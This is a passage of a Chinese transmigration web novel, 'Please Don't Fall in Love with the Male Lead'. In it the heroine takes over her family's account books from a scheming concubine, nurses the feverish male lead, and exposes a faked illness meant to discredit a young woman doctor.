沈望舒一番话说得语重心长,沈妄姝也不知道究竟是听进去了还没有,她沉默了小半日,最后才小声嘀咕道:“早知道我便不要你过来这里了,整日讲些惊世骇俗的话给我听……” “行啊,那你现在跟我解除劳务合同送我回家,”沈望舒求之不得,“定金不退,就不要你另外赔我误工费了。” 沈妄姝一听这话就怂了,气焰也不再嚣张,只噘着嘴装可怜道:“你连杜姨娘都会去可怜一下,可对我也太凶了些……我给你那样多的报酬,你就不能好好同我讲话吗?” 沈望舒还没说话,坐在她边上的沈星遥倒是先呆不下去了。 他耐着性子在这坐了小半日,杜姨娘母女俩与沈向远亲亲热热的模样看得他直犯恶心,实在听不下去了,便拉着沈望舒想要先回自己院里去。 “走什么,”沈望舒一把按住沈星遥的肩膀,将他按回座位上去,道,“走了你就输了。” 沈星遥没明白:“输什么?” 沈望舒却没向他解释,而是抬起头,笑盈盈地冲杜姨娘开了口:“姨娘,明日一早,你便差人把家里的账本送到我院里吧。” 杜姨娘面上的表情当即一僵。 其实沈望舒的要求并不过分——她是沈府嫡女,到了如今这个年纪,接手府内的账本本就名正言顺,杜姨娘并没有拒绝的理由。 但她又如何愿意轻易把这象征着管家权的账本拱手让人?只笑着推脱道:“大小姐的生辰眼看着就要到了,近些日子府上都为着这事情忙呢,我也抽不开时间教大小姐这些事情,不如等到生辰宴后……” “不劳姨娘烦心了,”沈望舒油盐不进,“你只管把东西给我送来就行。” 她上一刻还在说杜姨娘可悲,转眼就像只猛虎一般要去抢夺杜姨娘的猎物,实在是坏的叫沈妄姝十分喜欢。 杜姨娘还未来得及开口说什么,沈向远便又补了句:“是了,望舒过完生辰也到了该议亲的时候,你近来也多留意些,寻些模样俊俏、人踏实的郎君,若是有合适的,便可以招进府里来。” 他这短短的一句话听得杜姨娘满肚子疑虑:“为何突然想着要招婿上门了?” 沈向远也不瞒着,直接将话说开了:“我打算以后将家业传给望舒。” 这一句话宛若惊雷一般落在这间繁复至极的书房里,将方才还笑意盈盈的杜姨娘和沈菀轰得几乎懵了,好半日都不知道要说些什么。 任谁也不会想到,沈向远就这么轻而易举地要把这样大的家业,交给沈望舒这个胸无大志的草包! 沈向远却还在滔滔不绝地向杜姨娘交代事情,要她日后多帮衬着沈望舒一些,显然这事已成定局,并不会再有回 12.第十二章 《请不要和男主谈恋爱》全本免费阅读 纵使杜姨娘心里有千般万般不情愿,但在这样的情况下,也只能老老实实地将沈府的账本交给沈望舒了。 沈府家大业大,这些年的账本自然也多的吓人,足足装了七八个大箱子,硕大的箱子堆在沈望舒的书房里,别提多壮观了。光是粗略着看完都至少需要一个月的时间,更别提一条条账目去比对了,再加上她还要开始跟着沈向远去学习怎么做生意,可以预见接下来的日子她会有多忙了。 但她却对这种忙碌十分受用,并不觉得辛苦,反而还十分享受——再辛苦也好过叫她去送死,看点账本又算得上什么? 沈妄姝看着那些堆在书房里和山一样的账本,有些啧啧称奇:“你是真的有点本事,这样简单就把账本要过来了。” 沈望舒正在给这些账本做个大概的排序,听见沈妄姝的话,只笑了笑,回话道:“是你们古人太讲究这些长幼嫡庶的教条,不然凭她管了那么多年账本,又哪里会这么简单就放手。” “昨日我便想说你了,你字字句句都说得好像你在可怜姨娘似的,”沈妄姝嘟嘟囔囔地道,“可你分明还从她那儿抢东西,处处与她作对,怎么瞧着也不像有半分心疼她的样子。” “一码归一码,”沈望舒找到她想要的账本,拿着一摞厚重的书册回到书桌前坐下,边拿纸笔边和沈妄姝说道“我可怜的是你们这个时代的所有女性,不是具体的某一个人。” 沈妄姝对她的话似懂非懂,忍不住还要和她抬杠:“有什么可怜的?从古至今,每个人都是这样过的。” “杜姨娘锦衣玉食地过了半辈子,又时时刻刻想着害我,难道还要我去可怜她不成?” “从古至今都是这样,难道就是对的吗?” 沈望舒不想与她多争论,只是听到这样的话,身体里的反封建小斗士忍不住蠢蠢欲动,便随口反驳了一句。 只是她到底是来这里做任务的,这个世界以后如何跟她也没什么关系,所以也不打算花大力气跟沈妄姝多解释些什么,所以她扬了扬手里的账本,岔开话题道:“以后有时间我再慢慢教你,你先来陪我看账本吧,咱俩好好理一理这些账。” 说来着也是沈妄姝生平第一次管自己家的账,她瞧见那些账本,多少也有些蠢蠢欲动,因而沈望舒一说话,她便兴致勃勃地凑了过来,和沈望舒一起认认真真地对账了。 杜姨娘有心为难她,只把账本交了过来,却并不教她如何查看与核算——她们这个时代的女子,管家算账这样技能基本都是由母亲传授,沈家没人教过她这些东西,以沈妄姝的水平来说,要看懂这些账本都是难事,即便贸然把东西要了过去,可看不懂、算不明白又有什么用?只等着这大小姐胡闹一番之后把这家管得乱了套,她便又可以名正言顺地把这些东西再要回去了。 只可惜她早已不是以前的沈妄姝了。 虽然古代没有电脑这样的工具可以使用,更没有Excel这样方便的软件,但沈望舒多少接受过高等教育,不至于被这些事情难倒了。 她利用起了各种公式、统计图形与表格,再有沈妄姝孜孜不倦地教她,沈望舒的进度倒是比想象中快了不少,就连沈妄姝也啧啧称奇,说她会的这些东西都好新奇。 只是进度再快,也抵不过那书册实在多的像山一样,以至于沈望舒接连几日除了上课和跟着沈向远走动之外,余下的时间便全心全意扑在账本之上,全然忘记了男主陆晏时的存在,就连整日叨念着陆晏时的恋爱脑沈妄姝也几乎快把他抛诸脑后了。 查账近十日,还真叫她查出来几笔账目上的问题,虽然不多,但算下来也有近百两银子——杜姨娘管家数十年,若按这个数目估算下去,她私藏的银钱少说也有千两了。 沈妄姝兴奋极了:“你还不快把这事情告诉爹?” “有什么可说的,你以为你爹不知道?”沈望舒不以为然,便套公式算数边教这个傻子,“哪有老鼠掉进米缸里不偷吃的道理?这么点钱于你们沈家来说不过九牛一毛,她既管着账,私藏点钱给她和沈菀也算不得什么大事。” 沈望舒边说边抿了一口热茶,终于觉得身上暖了些——这些日子江南终于开始要迈向冬日,气温一日日地冷了下去,今夜又起了大风,显然是要下雨了。 她像只窝在椅子上犯困的猫,懒洋洋地说:“只要账上亏的不多,你爹睁一只眼闭一只眼也就过去了。” 沈妄姝顿时像只被霜打了的茄子似的蔫了下去,撅着嘴道:“那不是白白便宜了她们母女俩吗……” “不过大家知道是一回事,”沈望舒笑了笑,“捅破不捅破又是另外一回事了。” 沈望舒这几日过的舒心,连带着脾气都好了不少,颇有耐心地、哄小孩似地解释道:“女人总归要脸面,她作为一个小老婆,贪污家财的名声传出去不光难听,还会影响她女儿的声誉……也算是我们抓住她的一个小把柄,日后可以将此事用作我们的筹码,倒也是不亏。” 却不想沈妄姝非但没有回应这话,反而是突然扯起嗓子“啊!!!”地尖叫了一声,沈望舒有些时日没听见这个尖叫鸡大喊,被她这极具穿透力的声音一吼,握着笔的手猛地一抖,在洁白的纸上留下一道歪歪扭扭的墨痕,将一张纸氤的十分可怖。 “卧槽!”沈望舒被她这一声吓了一跳,没忍住骂出了声来,好在她为了图个清净,把侍女早早地屏退了,否则人家都要觉得她是不是害了什么毛病,才会这样无端大叫的。 沈望舒无奈道:“大小姐,你又怎么了?” “陆晏时!”沈妄姝大喊陆晏时的名字,语气里满是焦急,“你现在去看看他,立刻!马上!” “啊?”沈望舒一头雾水,“为什么?” 沈妄姝见她坐着不动弹,更急了:“今日夜里气温骤降,陆晏时着了凉,后半夜就要发热了!” “我还以为什么事,”沈望舒揉了揉被她叫的发疼的耳朵,“又不是要死了,发个烧而已,有什么好紧张的?” 末了沈望舒又想起什么来,有些不可置信地问:“你爹回家你记不得,陆晏时发烧这种小事却能记得?” 沈妄姝丝毫不觉得她在骂自己,还颇为自豪地炫耀道:“和陆晏时有关的事情我都记得清清楚楚呢。” “我真受不了你这恋爱脑了,”沈望舒摇了摇头,十分干脆地拒绝道,“不去,他死不了。” 沈妄姝自然不愿意,大声抗议:“可是他会很难受啊!” “关我什么事,”沈望舒拿出一张新的纸,慢悠悠地去誊抄方才写的东西,又有些好奇地问了她一句,“说起来,前两世的时候,你到这个时候是怎么做的?” 这本小说写得实在不怎么样,因而沈望舒看的时候几乎是三章三章跳着、一目十行地匆匆看完,对于这些情节确实是一点印象也没有了。 “第一世的时候,他烧到在书院里头昏倒,被夫子送到医馆去了,他就在那时候认识的柳半夏,”一提起原作的女主,想到她在两世都得到陆晏时的宠爱,沈妄姝就气不打一处来,说起话的语气也阴阳怪气了,“陆晏时从前因为穷,落下了腿寒的毛病,柳半夏顺手给他治了,一来二去的俩人就熟悉了,后面在一起也就顺理成章了。” “后来我重生过来,在今晚及时将他送药和被褥,又寻了名医来根治了他的腿寒,博得了陆晏时不少的好感,”沈妄姝边说边催沈望舒,“你怎么还坐着啊?我是你老板!你怎么老不听我的话!你快去看看陆晏时!” 沈望舒懒得理她,任由她在脑子里叫唤也不为所动,坚持着把自己该做的事情做完,洗漱睡觉一条龙,完全把她当作空气,沈妄姝闹的累了,终于也泄了气,放任沈望舒去睡了。 只可惜沈望舒虽然打算的好,却因为和陆晏时还在同一个书院读书,免不得再和他见面。 陆晏时昨夜果然如沈妄姝所说,发起了高热,他在榻上辗转了半宿,到了清晨时高热逐渐退去,才总算浅浅睡了一觉,谁曾想晨起之后又烧了起来,到他来到书院的时候,整个人都已经烧的发昏,连走起路的脚步都是虚浮的。 但他仍旧坚持要来听课——这样好的书院与这样好的老师,对陆晏时来说全都是得来不易的机会,每一刻对他来说都是吸收知识的好时机,因而陆晏时并不愿意轻易缺课,读书的决心堪比沈望舒打工赚钱了。 只是他那副摇摇欲坠的模样实在可怜,而且这书院里的人也向来不待见他这个穷鬼,便是他烧的面色通红,整个人意识模糊了,也不见有人上去问他一句,想来那夫子送他去医馆,也只是怕他死在书院里头,影响了自己的名声罢了。 沈望舒瞧他那半死不活的模样实在可怜,终 13.第十三章 《请不要和男主谈恋爱》全本免费阅读 陆晏时烧了一整日,又没怎么吃东西,还没说上几句话,便又迷迷糊糊地睡了过去,这次倒是乖了,没有再拽着沈望舒的衣角不叫她走了。 沈望舒瞧着他睡了,便叫来回春堂的大夫,单独给他塞了一块碎银子,叫他千万多照顾陆晏时一二,该用什么药都别含糊,直接用最好的就行,又说陆晏时身子不大好,最好留在你们这回春堂里多休息几日,自己才好放心。 她都替陆晏时盘算好了——明日柳半夏就会从外县回来,届时这一对真命情侣一见面,日后谈上恋爱,她这个红娘的作用不就正好体现出来了吗? 只是沈妄姝却实在伤心,她依依不舍地跟着沈望舒离开了医馆,泪眼婆娑地哼唧道:“为什么我总是得不到他呢?” “感情这种东西,勉强是勉强不来的,”沈望舒已经逐渐习惯了她动不动就哭的毛病,还尝试着劝解她,“你都在陆晏时身上吃了两辈子的亏了,还想犯傻吃第三回吗?” 她轻盈地跳上沈府富丽堂皇的马车,看着车窗外渐渐远去的回春堂,语重心长地对沈望舒道:“你要学会放弃,才会长大。” “潇洒一点,”沈望舒像个姐姐似的轻声与她说道,“下一个会更好。” 沈妄姝与她相处了这些时日,也明白了自己不论如何耍赖撒娇都治不住沈望舒的事实,如今对于沈望舒说的话,多少也能听进去几句,眼见着陆晏时确实与自己渐行渐远、再无回转的可能了,她终于长叹一口气,一边擦眼泪一边颇为幽怨地对沈望舒说道:“……那你以后一定要给我找天下第一的美男子做夫婿。” 她说完又觉得这条件不够,赶忙又加了一句:“还要疼我爱我,整日将我捧在手心里哄着才行。” “有点难,”沈望舒听见她的要求就笑,但只要她愿意放弃陆晏时,再难沈望舒也认了,“不过我尽量,至少也给你找金城武那样的来。” 沈妄姝问:“金城武是谁?” 沈望舒简单又直白地解释:“我们那儿的第一美男子,见过他的没有不夸他好看的。” 她到底没敢将金城武与陆晏时的颜值放在一起比较,生怕沈妄姝这个男主毒唯又发起疯来和自己battle。 “哦,”沈妄姝一听这话,十分满意地点点头,兴奋道,“那我就要招金城武做赘婿!” 沈望舒大笑着应了她的要求,说回去就叫沈向远安排,把全国的美男子画像都搜罗起来,让沈妄姝一个一个去选,挑十个八个都行。 “到时候别说金城武,你就是把吴彦祖、木村拓哉、金在中都养在你们府上,我也觉得没有问题,”沈望舒孜孜不倦地用男色给沈妄姝画饼,“咱们给这些个美男们组个男团出道,找点会写歌会写词的,给他们写点歌,全国去开巡演,又叫你心里高兴又能赚钱给你花,直接实现快乐永动,你这一生还能有啥烦恼?” 不过她还未来得及去找沈向远实现这个美男子网罗计划,沈向远倒是先来找了她,说是他看了沈望舒做的新账本之后十分满意,所以要让她过两日去城南的一家布店去收账本,沈望舒工作能力被认可自然高兴,便把这事情先放到一边去,待到来日再去实施了。 近些日子沈望舒跟着沈向远在各个铺面里头都露了面,沈向远便要开始叫她去做一些简单的事情,沈望舒自然说好,又提前叫侍女去备了些礼物和酒水,到了去收账本那日,给每个店员都送了一份。 她知道自己以女子之身继承家业,底下做事的掌柜与伙计多少会说些闲话,她备着这些礼物也不为别的,只想着不管如何,这世道都是伸手不打笑脸人的,别人明面上不给她难堪、不使她的绊子也就够了。 掌柜的与伙计们瞧见她送的东西,自然各个都喜笑颜开,虽然嘴上说着女主太客气了,收礼物的手却也没闲着,那掌柜的将沈望舒请进包厢里,好声好气地与沈望舒聊了小半日,沈望舒又偷偷塞了个红包给他,他便对这个少东家更是满意,对沈望舒几乎是知无不言、言无不尽,最后又毕恭毕敬地把账本给了沈望舒,一点要为难她的意思都没有。 沈望舒顺利地办完了事情,高高兴兴地拿着账本准备回府,却不想一出店门,就瞧见自己马车跟前站着个人,他此时正眼巴巴地望着店里头,好似正在等人。 而这人不是别人,正是前两日因为高烧晕倒、被沈望舒送进医馆的男主陆晏时。 陆晏时今日穿了件月白色的长衫,以一条同色腰带系着,衬得他狭腰俊目、脱尘出俗,任谁路过都免不得要多看他两眼。 他的头发以一条青色发带整整齐齐地梳在脑后,十一月的秋风吹得他的发尾微微飘荡,似是再来一阵风嗯便要将他吹倒了似的,再加上他发烧初愈,脸色还有些苍白,使得他瞧上去像画本里写的病弱美人,无端的惹人怜惜。 他看见沈望舒从店里走出来,眼睛都亮了一亮,又向着沈望舒的方向迈了一步,作揖道:“沈姑娘。” 看这模样,显然他在等的人正是沈望舒了。 沈望舒有些意外会在这里看见陆晏时:“陆公子?你怎么会在此?” 倒也不怪她多此一问,她分明记得前阵子陆晏时还一副要和自己老死不相往来的模样,又哪里会相信陆晏时会专门在这里等自己? 陆晏时抬手一指,回道:“我才从医馆出来,看见沈姑娘的马车停在这里,便想过来与你说句话。” 沈望舒顺着他手指的方向一看,这才发现回春堂就在她家店的斜对面,再往前走两步便是了。 她没想到陆晏时是真的来找自己的,又下意识地打量了陆晏时一眼,问他:“身体可都大好了?大夫能放你回家了?” 她不好意思直接问他和女主柳半夏是否相识了,更不好问人家是不是已经干柴烈火互相看对眼了,又想起原剧情里柳半夏给他治腿寒的那个剧情,就旁敲侧击地问他:“可有什么别的不舒服?” 陆晏时却会错了意,以为沈望舒 14.第十四章 《请不要和男主谈恋爱》全本免费阅读 门口这几人又叫喊了两声,回春堂里终于有了动静,有一个年轻女子在众人的议论声中走了出来。 那女子瞧着不过十六七岁,身材有些娇小瘦弱,穿着件天青色细布长裙,满头乌丝以一支木簪简单地梳在脑后,穿得虽然质朴无华,身上也再无多余的首饰,却反倒衬的她一张白嫩的脸似春桃般俏丽,站在乌泱泱的人群里,像会发光似的。 来的不是旁人,正是这本小说唯一的女主、陆晏时的天命之女,日后的皇后柳半夏本人。 她虽然穿得普通,可气质却好似九月里的清菊,仪态大方又得体,年纪轻轻就有这番气质,也怪不得日后能够被封为皇后,成为一国之母了。 沈望舒在看小说的时候,就已经看过作者花了大量的笔墨去描写柳半夏的容貌与气度,如今真的见到她真人了,倒也觉得作者的笔墨没有白费,柳半夏确实是一个瞧上一眼就会对她产生好感的姑娘,也怪不得将来陆晏时沦陷了。 沈望舒下意识喃喃了句:“她可真好看。” 陆晏时听见她这句话,有些狐疑地扭过头去看了沈望舒一眼。 他实在不明白,沈望舒为何会发出这样的感叹来。 沈望舒这些日子不爱做盛装打扮,多数时候只是简单梳个发髻,或斜插一支金簪,或点缀几朵珠花,耳上缀一对粉色碧玺耳环,身穿一身银丝葡萄纹儒裙,面上也只淡淡扫一层脂粉,却反而衬得她有如出水芙蓉,人间其他的颜色在她的面前不过是一抹尘土,灰头土脸,不甚起眼。 她既未点唇,亦未描眉,却眉如远黛、唇若红缨,叫陆晏时只看一眼,便莫名想起“芙蓉不及美人妆,水殿风来珠翠香”这样描写美人的诗句来,即便陆晏时向来不在意他人容貌,却也觉得千秋之内,世间再也不会有沈望舒这样的绝色佳人了。 又有谁能够担得起这样的美人一句“好看”的夸赞? 他想是这样想,但沈望舒要说什么话又与他没什么干系,他这人本就不喜凑热闹,是被沈望舒硬拉过来的,如今他想说的话说完了,又没什么其他的事情,便与沈望舒提了一嘴,说自己要先走了。 沈望舒终于扭过头来看他,面上的表情似是有些疑惑:“有人要找柳姑娘的麻烦,你不去帮忙吗?” 陆晏时被她这话问得有些摸不着头脑,反问道:“我与那姑娘并不相识,又为何要去帮她?” 沈望舒震惊了。 她脸上的表情好似被雷劈,比听到什么惊天噩耗还要难看三分,她脑子里的沈妄姝却扬眉吐气,狂笑不止,与她的心情简直一个天上一个地下。 沈望舒不可置信地问他:“你不认识她?!你不认识他你这几日在医馆都在干嘛?!” “在医馆自然是治病,”陆晏时不明白为何沈望舒会这般如丧考批,却也老实答了她的话,“我为何要认识这位姑娘?” 沈望舒不答,反而长叹了一口气。 “我服了,你们这届男女主是怎么回事?!”她在心里大声呐喊,“我都把人给送上门了!怎么还牵不上线?!” 沈妄姝乐不可支,得意洋洋地道:“你懂什么,我爱豆现在守身如玉,一心打拼事业,没空和柳半夏谈情说爱!” “你闭嘴,”她这话反而燃气沈望舒的斗志来,“我还就不信邪了,你等着,我今天势必帮你把这个嫂子谈下来。” 说罢她又上手去拽了一下陆晏时的袖子,全然不顾脑子里沈妄姝“嘤嘤嘤你作弊”的哭诉,颇为蛮横无理地对陆晏时说:“你先别走,陪我看看热闹先。” 她态度虽然强硬,可她长得实在过分美丽,这样的蛮横叫她变成了撒娇一般的娇嗔,天边的红晕似水一般倾泻在她的身上,于她的身上镀了层金色的光晕,让沈望舒看起来像是身披霓裳羽衣的姑射仙子,看得陆晏时的心不自觉地漏跳了一拍。 只这一拍,他便错失了拒绝了机会,只得任由沈望舒牵着自己的袖子,老老实实地挤在一群看热闹的人里,陪着这位心血来潮的大小姐胡闹。 而此时那几个大汉正指着柳半夏破口大骂,言语粗鄙至极,几乎将能骂的脏话全都冲柳半夏骂出来了,沈望舒听了小半日,总算是听明白了——他们在骂柳半夏医术不精,把人治得快死了。 沈望舒又去看了一眼躺在地上的那名男子,他身形瘦弱,面色蜡黄,正半闭着眼睛、哼哼唧唧地躺在那张十分破旧的担架床上,瞧着确实是一副命不久矣的模样。 柳半夏给人看诊不过才半年多,即便在原书的设定里她是一个医术方面的天才,但到底年纪尚轻,社会经验也不够丰富,面对这几个凶神恶煞的男人闹事,她难免有些手足无措:“不可能的,他昨日回去的时候分明已经大好了,又如何能在短短一日内病成这副模样?” 她一边说着话,一边要上前去给地上那看着只剩一口气儿的男人把脉,却叫那几个大汉拦住了,说什么都不叫她再靠近那病人。 “你这庸医!本就把他治得快死了,再给他诊脉有何用?!” 其中一个大汉指着地上那男子,怒道:“他分明还未大好,你却硬要叫他回家去!到了今日人就不行了!你这是治得什么病?!分明就是草菅人命!” 柳半夏却不相信:“这不可能,你叫我再给他看看!” 那大汉自然不肯,一边拦着柳半夏,一边张口骂柳半夏,此时又有一人从回春堂中跑了出来,拦在柳半夏与那几个大汉中间,大声道:“莫吵了!,莫吵了!有话好说!” 男子年纪二十上下,正是前两天给陆晏时看病的大夫、柳半夏的师兄周迟。 周迟拦着那几个大汉,嘴上连连道歉:“对不住,我师妹尚轻,才看诊不过半年时间,经验也不足,实在是对不住各位。” 他这话不说还好,一说出来便犹如一桶油浇在烈火上似的,将围观的人怒火也点着了,众人忿忿不平地对着柳半夏指指点点道:“经验不足就敢这样给人行医?这不是将人命视为草芥吗?!” “小姑娘长得标志,却不想竟然这样蛇蝎心肠!” “人命关天,轻飘飘地道个歉,就想这样翻过去吗?” 柳半夏想要开口争辩,周迟却先一步开口,点头哈腰地替她道歉:“我师妹并非有心害人,还请几位高抬贵手,放我师妹一马,需要赔偿多少,我们一分不会抵赖的。” 他嘴上实在替柳半夏求情,可说的每一句话都在暗指她确实医术不精害了人,果然此话一出,那几个大汉便直接骂柳半夏实在不要脸,人命岂能用钱来衡量? 围观的路人更是义愤填膺:“这女人做大夫本就是前所未闻,治死了人还这般高高在上毫无悔意,怎么配做大夫!?” “我看你还是早些滚蛋,省的坏了回春堂的名声!” 柳半夏几次想要开口,都被 15.第十五章 《请不要和男主谈恋爱》全本免费阅读 沈望舒挤到事故中心地带的时候,当事的几个人还在面红耳赤地对柳半夏一个小姑娘做单方面的辱骂,沈望舒顺手拍了拍其中一个穿褐色衣裳的男人,怯生生地问道:“大哥,地上那位大兄弟是得了什么病,怎么瞧着这样严重?” 那糙脸大汉正骂人骂到兴头上,被人陡然打断自然不爽,转过头正要骂人几句,却不想一转眼就瞧见一个天仙似的姑娘正眼含春水地盯着自己,说话的声音也娇滴滴的,像是朵被雨淋过的芙蓉,叫他心头的火霎时间被这春水浇灭了。 “嗐,姑娘有所不知,”那大汉不止消了火,连说话的语气都轻柔了不少,生怕自己粗旷的声音吓到这仙子似的,“我这兄弟前些日子身子不舒服,到她这医馆来治病,昨日那姓柳的非说他已经好了,不给他治,硬将他给赶了出去!” “我兄弟昨夜回去就觉得心口不舒服,今日起来便上吐下泻,腹中与胸口疼痛难忍,才不过短短半日,就虚脱的连站都站不起来,眼看着人就要不行了!” “你怎能这样血口喷人!”柳半夏终于抓到空子为自己辩驳,大声道,“这位兄弟分明是因外伤来的回春堂,我给他治伤时开的方子也都是些固本培元的药草,是断不可能出现这种症状的!” 另一个男人当即大喊:“那不更说明你开的药有问题吗!” “治个手伤都能把人治成这样!你还当什么大夫!” 柳半夏因为这些无端的指责而愤怒与委屈,眼底都泛了红,但她面上的表情却十分倔强:“这绝无可能!你让我再给他诊一次脉,便可知晓事实了!” 即便心底真的有些不安,柳半夏却依然信任自己的医术,执着地想要探查这人病症的真相,却又一次被人给拦了下来,说什么都不叫她接近地上躺的那个男人。 “你这毒妇!又想偷偷害人是不是!?” “我没有!” 周迟还在边上添油加醋:“小师妹,这小兄弟看着情况确实不好,你莫要再这样倔强,先向人道歉赔礼吧!” 这场面一时间乱成一锅粥,几方人争执不下,眼看着就要把柳半夏生吞活剥了。 沈望舒却突然开口问了句:“这位兄台时真的病到连起都起不来了呀?” “可不是!”方才与沈望舒说话的大汉听见这美人问话,连忙开口回了,“人都快死了,现在只剩一口气儿吊着了!” 沈望舒恍然大悟似的点了点头,又余光瞥见自己的侍卫提了个小桶一路小跑地往自己这边赶过来,便又问:“千真万确?” “千真万确!” 沈望舒这才满意了,冲那男人勾起嘴角笑了笑,看得那男子当即一愣,险些被她沉鱼落雁般的美貌勾了魂,从而并未注意到有个身材高大、手提木桶的男子强硬地挤到跟前来。 而那男子站在担架前,手脚利落地将手里的木桶往上一提,哗啦啦地把桶里的东西往地上那男子的头上倒了下去! 在场众人哗然! 而这桶里装的东西不是别的,正是方才沈望舒吩咐侍卫去对面酒楼买来的满满一桶泔水! 地上方才还奄奄一息、仿佛只剩下一口气的瘦弱男子,在被浇了满头馊臭泔水的时候,却“噌”地一下从担架上跳了起来,哇哇大叫道:“他娘的!干嘛的!” “呀,”沈望舒咯咯大笑,“不是要死了吗?这分明站起来了呀?” 这话一出,一时间所有人鸦雀无声,场面一度非常尴尬。 沈妄姝也没想到她会出这样的奇招,在她的脑子里嘎嘎狂笑:“什么呀,你比我坏多了!” “怎么能说我坏呢?”沈望舒笑嘻嘻地反驳,“我分明是爱与正义的美少女。” 此时围观的路人也瞬间明白了过来——哪儿来的治病把人治坏了,分明是装病讹钱来了!这风向也自然急转,纷纷开始骂这些人不讲良心、欺负小姑娘了。 方才几个气焰嚣张的男人此时也支支吾吾了起来,沈望舒却抬起纤纤素手一指周迟,道:“我记得你,你也是回春堂的大夫。” 周迟连连点头,却听得沈望舒嗤笑一声,嘲讽似的说:“你连人家装病都瞧不出来,在这里闹了半日,既不想着上来查看他的病情,也不想着报官,反倒是一个劲儿地将这没有的过错推到那位女大夫的身上——”沈望舒拉长了语调,故意顿了一顿才问道,“你们几个不会是一伙的吧?” 她不去帮柳半夏自证,反而用短短几句话把问题的矛头指向周迟,周迟哪里想到情况会变成这样,连连摇头否认自己联合外人来欺压师妹,沈望舒却不放过他,一听他这样说,便又丢出一个问题去要周迟解释:“连我都瞧出来那人没病,你一个大夫竟然瞧不出来——你到底会不会给人看病啊?” 此刻场上舆论霎时全部指向周迟本人,柳半夏则在三言两语之间变成了一个因为医术高超被师兄迫害的可怜姑娘,沈望舒目的达到了,也懒得再在这里多待,转身就要离开此处,又想起陆晏时还在边上站着,便拐了个弯走回他跟前去,问他:“和我一起回府去?” 陆晏时点了点头,二人正往马车的方向走去,突然背后响起个女声,大声道:“姑娘请留步!” 沈望舒回头一看,竟是柳半夏仓促追了上来。 柳半夏跑得气喘吁吁,生怕自己跑慢了追不上沈望舒似的,边喘气边向沈望舒鞠躬道:“多谢姑娘替我解围,若非姑娘出手相助,只怕我这笨嘴无论如何也与这些人说不清!”她抬起头来,像只小狗似的,用又感谢又崇拜的眼神看向问沈望舒,问她,“敢问姑娘高姓大名?” “我是城北沈向远之女沈望舒,”沈望舒笑着回了话,原本她是想叫柳半夏不用把这放在心里,自己不过举手之劳罢了,可她一转头瞧见在马车跟前等自己的陆晏时,又接了句,“日后若是有什么需要帮忙的,尽可来府上找我。”< 16.第十七章 《请不要和男主谈恋爱》全本免费阅读 回春堂如今乱作一团,柳半夏要给陆晏时看诊也没旁的地方能去,干脆就上了沈望舒的马车,在马车里给陆晏时号起了脉。 他二人面对面坐着,柳半夏的手指轻轻搭上了陆晏时的手腕,认认真真地给他号脉,而坐在她对面的陆晏时更是低着头盯自己的脚尖,连看都不多看柳半夏一眼。 要说其实也没什么不对,他俩一个大夫,一个患者,本就没什么话可以讲,再加上陆晏时向来恪守礼节,不看、不言、不语倒也符合他的性格。 只是沈望舒却十分不满。 “不是,你说他俩怎么回事,”沈望舒直勾勾地盯着自己跟前毫无火花的两个人,在心里狂叫沈妄姝,“他们俩怎么不来电啊?” 沈妄姝正在气头上,并不打算搭理沈望舒,沈望舒还没来得及再喊她两句,就听见柳半夏开口问:“请问公子,是否一到阴雨天,便会觉得双膝疼痛难忍?” 陆晏时只点了点头,沈望舒赶忙问:“可能治好?” “自是能的,”柳半夏点了点头“就是麻烦些,还请公子每七日到回春堂一次,我好为公子拔除顽疾。” 她说完这话,便又扭过头去看沈望舒:“沈姑娘若是有空,可以和公子一起过来的。” 柳半夏的眼睛亮晶晶的,全然像只向沈望舒摇尾巴邀功的小狗,沈望舒又哪里舍得对她说个不字?只好先应承下来,柳半夏得了她的答复,便欢欢喜喜地与她们道了别,下车回医馆去了。 待到沈望舒的马车动起来之后,陆晏时冷不丁地说了句:“你似乎对那位柳姑娘很好。” 沈望舒听得心下一惊。 她以为陆晏时在怀疑自己。 毕竟她前些日子还是个嚣张跋扈、不知天高地厚的大小姐,她不去欺负别人都算是慈悲了,又怎么可能无缘无故去帮别人?即便她努力让自己不崩人设,但内芯到底是换了一个人,要完全不惹人怀疑还是有些难了。 “我瞧她好看呗,”沈望舒决定用不着边际的胡话糊弄过去,“本小姐向来见不得美人受苦的。” 好在陆晏时也不打算继续追问,在听过沈望舒的回答之后,便又低着头沉默了下去,似乎方才只是顺口一说,并不打算听沈望舒的回答。 而沈望舒生怕陆晏时再多问些别的自己露馅,便也闭上了嘴不说话,二人就这么一路沉默着回了沈府,一路上险些把沈望舒憋死。 二人到沈府时,天色已经大暗,月亮在树梢上悄悄露了个头,透过层层叠叠的叶子,于路上投下一道道清冷的光,又与沈府前高悬的灯笼光交织在一起,显得一条街既安静又热闹,却又无端的和谐。 今夜莫名地起了风,风一吹过,便有枯黄的叶子自树梢哗啦啦地落下,稀稀拉拉地铺在地上,倒叫这夜里平添了几分萧瑟。 沈望舒才一下车,发丝便被这秋风吹得飘动,簪在她发髻上的金玉蝴蝶钗也跟着轻轻晃了晃,一时间好似那发间的蝴蝶活了过来,正欲振翅高飞去,叫人一时间都要看呆了。 她见夜里又降了温,便想着提醒陆晏时一句,叫他夜里头注意保暖,别感冒才好又病了,只是话还没来得及说出口,却突然瞧见个人从沈府里走了出来。 那人身穿绀青色蜀锦长衫,腰系杏黄色腰封,上悬一枚汉白玉佩,端的是副贵公子的模样,除了沈星遥还能有谁? 沈望舒当即叫他:“哥哥,你这是要上哪儿去?” 沈星遥看见沈望舒,面上的表情宛若耗子见了猫,说话的气焰都矮下去了一截:“没……就是闲着没事,出去溜达溜达……” 自打那日沈望舒在他跟前声泪俱下地控诉过之后,沈星遥也确实意识到自己这个做大哥的失职,这些日子以来确实学乖了不少,既不去赌坊酒楼,也不再与先前那些狐朋狗友来往,每日都老老实实地跟着夫子读书做学问,倒显得他像是个大门不出、二门不迈的名门闺秀了。 只是沈星遥到底资质平平,从前读书的时候就学的一知半解,如今再学别的就更觉得晦涩难懂,因而越学便越觉得无趣,越学越觉得头疼,今日做功课实在做不下去了,便扔了书想要出去逛逛,却不想前脚才踏出沈府的大门,后脚就被亲妹妹给逮到了。 沈望舒怕他又钻赌坊里去,十分直白地问:“你要上哪儿溜达去?” “我就是学的头疼,出去走走吹吹风,”沈星遥也怕沈望舒误会自己,赶忙解释道,“我的钱都叫你管着,这会儿浑身上下都摸不出几粒碎银子,没钱上赌坊的,你放心吧。” 他这话倒是叫陆晏时有些意外。 饶是他陆晏时饱读诗书,这却也是头一回听说,竟还有这种一家之主仍健在的情况下,做妹妹的管着当哥哥的银钱的事情,当真是奇闻。 